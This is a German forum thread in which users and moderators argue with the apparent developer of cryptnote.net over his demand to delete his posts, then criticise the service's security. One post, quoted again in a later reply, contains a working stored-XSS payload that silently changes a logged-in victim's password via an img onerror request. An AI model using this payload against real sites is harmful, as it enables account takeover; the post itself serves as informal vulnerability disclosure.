cryptnote.net - Versende verschlüsselte, anonyme, selbstzerstörende Nachrichten

Re: .

Hiermit bitte ich um die DSGVO-konforme Löschung dieses Threads und meines Benutzerkontos.

Ich bin nicht damit einverstanden, dass Beiträge innerhalb dieses Threads von mir hier wiederhergestellt werden.


1. Deine Beiträge unterliegen keinem Urheberrechtsschutz. Die schöpferische Höhe ist ansonsten von Dir zu belegen. Diesem Umstand hast du bei Deiner Registrierung in diesem Forum zugestimmt. Du hast deine Beiträge hier zur freien Verfügung gestellt und das Recht auf eine Entfernung dieser durch die Registrierung verworfen bzw. der Erhaltung dieser zugestimmt. Eine Entfernung von Beiträgen und das Trennen des Zusammenhangs eines Fadens (Threads) entspricht nicht dem Sinn eines Forums.

2. Nichtjuristische Meinung meinerseits: Du bist ein seltsamer Kunde. Du verhältst Dich wie ein Elefant im Porzellanladen und wunderst dich dann, das es nicht geschickt war, das ganze Porzellan kaputt zu machen.

3. Juristische Meinung meinerseits: dein nächstes Nachahmen meiner Identität wird dich sehr viel Geld kosten.

4. Wenn du nicht damit einverstanden bist, dass von Dir aus nichts wiederhergestellt wird, dann liegt das in deiner Macht.

von mir hier wiederhergestellt werden.

*vogelzeig*

5. Alternative: Artikulation üben. Deutsch 5. Klasse.
 
Zuletzt bearbeitet:
Re: .

Ich bitte um Wiederherstellung sämtlicher Beiträge des Users, damit dies als abschreckendes Beispiel für die Nachwelt erhalten bleibt.

Dies ist historisch wertvoll und ich beantrage Denkmalschutz.
 
Re: .

Das habe ich gerade schon per "melden" gemacht und würde wäre dankbar sein, wenn dies auch geschieht.
 
Zuletzt bearbeitet:
@one: Das meiste macht PN; (ist nicht sein Forum, drfuture wäre im Werbekeller zuständig, mein Fehler). Ich hab ihn nur dauerhaft vor die Tür gesetzt, und die Löschung kann er sich bei der Jungfrau Maria erbetteln. Die hats ja bekanntlich mit Wundern.
 
Zuletzt bearbeitet:
Ich bekomme immer mehr so den Eindruck, dass du ein verkleideter Kugelfisch bist. Sowohl deine Handlungen und auch dein Wissen (was ich ich anderen Thread mitlese) passen zusammen. :D
 
Die Lady hat auch noch ein paar wiederhergestellt. Müsste alles wieder da sein. Wenn nicht, bitte melden. Seh nur noch Buchstabensalat mit meiner Migräne. (...die ich schon vorher hatte)
 
Oke, ich nenne dich ab sofort Wonda. Das sollte geheim genug sein.
 
Ich weiss ja, vielleicht sollte ich das nicht tun ... aber gut, statt Einsicht kommen ja eh nur mehr oder weniger wueste Provokationen zurueck ... also:

Dass es keine gute Idee ist, bei einem (vermeintlich) sicherheitsrelevanten Dienst JavaScript zu erzwingen, ist eine Sache.
Dass es keine gute Idee ist, einen User sein Passwort aendern zu lassen, ohne dabei das alte Passwort einzugeben eine andere.
Und dass man HTML nicht mit regulaeren Ausdruecken filtert, eine dritte.

Oder mal so: Wer traut sich eine Nachricht zu entschluesseln, waehrend er bei CryptNote eingeloggt ist?
Falls der Inhalt der Nachricht naemlich rein zufaellig
Code:
Expand Collapse Copy
M. was here ;-)<img onerror="M=new XMLHttpRequest();M.open('post','updatesettings',true);M.setRequestHeader('Content-Type','application/x-www-form-urlencoded');M.send('setpassword=MMMMMM&confirmpass=MMMMMM')" src
M
sein sollte, ist das Passwort danach rein zufaellig auf "MMMMMM" geaendert :D
 
Re: .

Ich bitte um Wiederherstellung sämtlicher Beiträge des Users, damit dies als abschreckendes Beispiel für die Nachwelt erhalten bleibt.

Dies ist historisch wertvoll und ich beantrage Denkmalschutz.

Du kannst hier viel wollen, solang Du das nicht beim Patentamt anmeldest, wirst Du einfach gepflegt ablaufen.
 
Code:
Expand Collapse Copy
M. was here ;-)<img onerror="M=new XMLHttpRequest();M.open('post','updatesettings',true);M.setRequestHeader('Content-Type','application/x-www-form-urlencoded');M.send('setpassword=MMMMMM&confirmpass=MMMMMM')" src
M
sein sollte, ist das Passwort danach rein zufaellig auf "MMMMMM" geaendert :D


Hatte er nicht gesagt, es wurde ein Audit oder sowas gemacht? Zumindest von irgendeiner Bande der Code geprüft? :D
 
@RedlightX: Was ich mittlerweile so an Audit-Geschichten mitbekommen habe, kann das gut sein. Wer Trottel gut oder gute Leute schlecht bezahlt, bekommt halt nur das Offensichtliche gesagt...
 
Seinem Track-Record vom Verhalten ggü. Leuten, die versuchen, sein Projekt irgendwie von einem technischen Aspekt zu beleuchten nach zu Urteilen, hat er einfach irgendeinem Dude in irgendeinem IRC geglaubt, das er OpSec-Experte ist, sich ein paar Hundert Euronen geben lassen und behauptet, alles sei wunderbrar.
 
@Mods: Die Wortmarkenanmeldung ist öffentlich einsehbar(und das mit Absicht, so funktionieren Wortmarkenanmeldungen in Deutschland halt), und sein Github-Repo, das er gelöscht hat, erwähnt er selbst. Darf ich fragen, wieso die Links raus mussten? O.o
Oder hat er mit Anwälten gedroht? :eek:
 
Zurück
Oben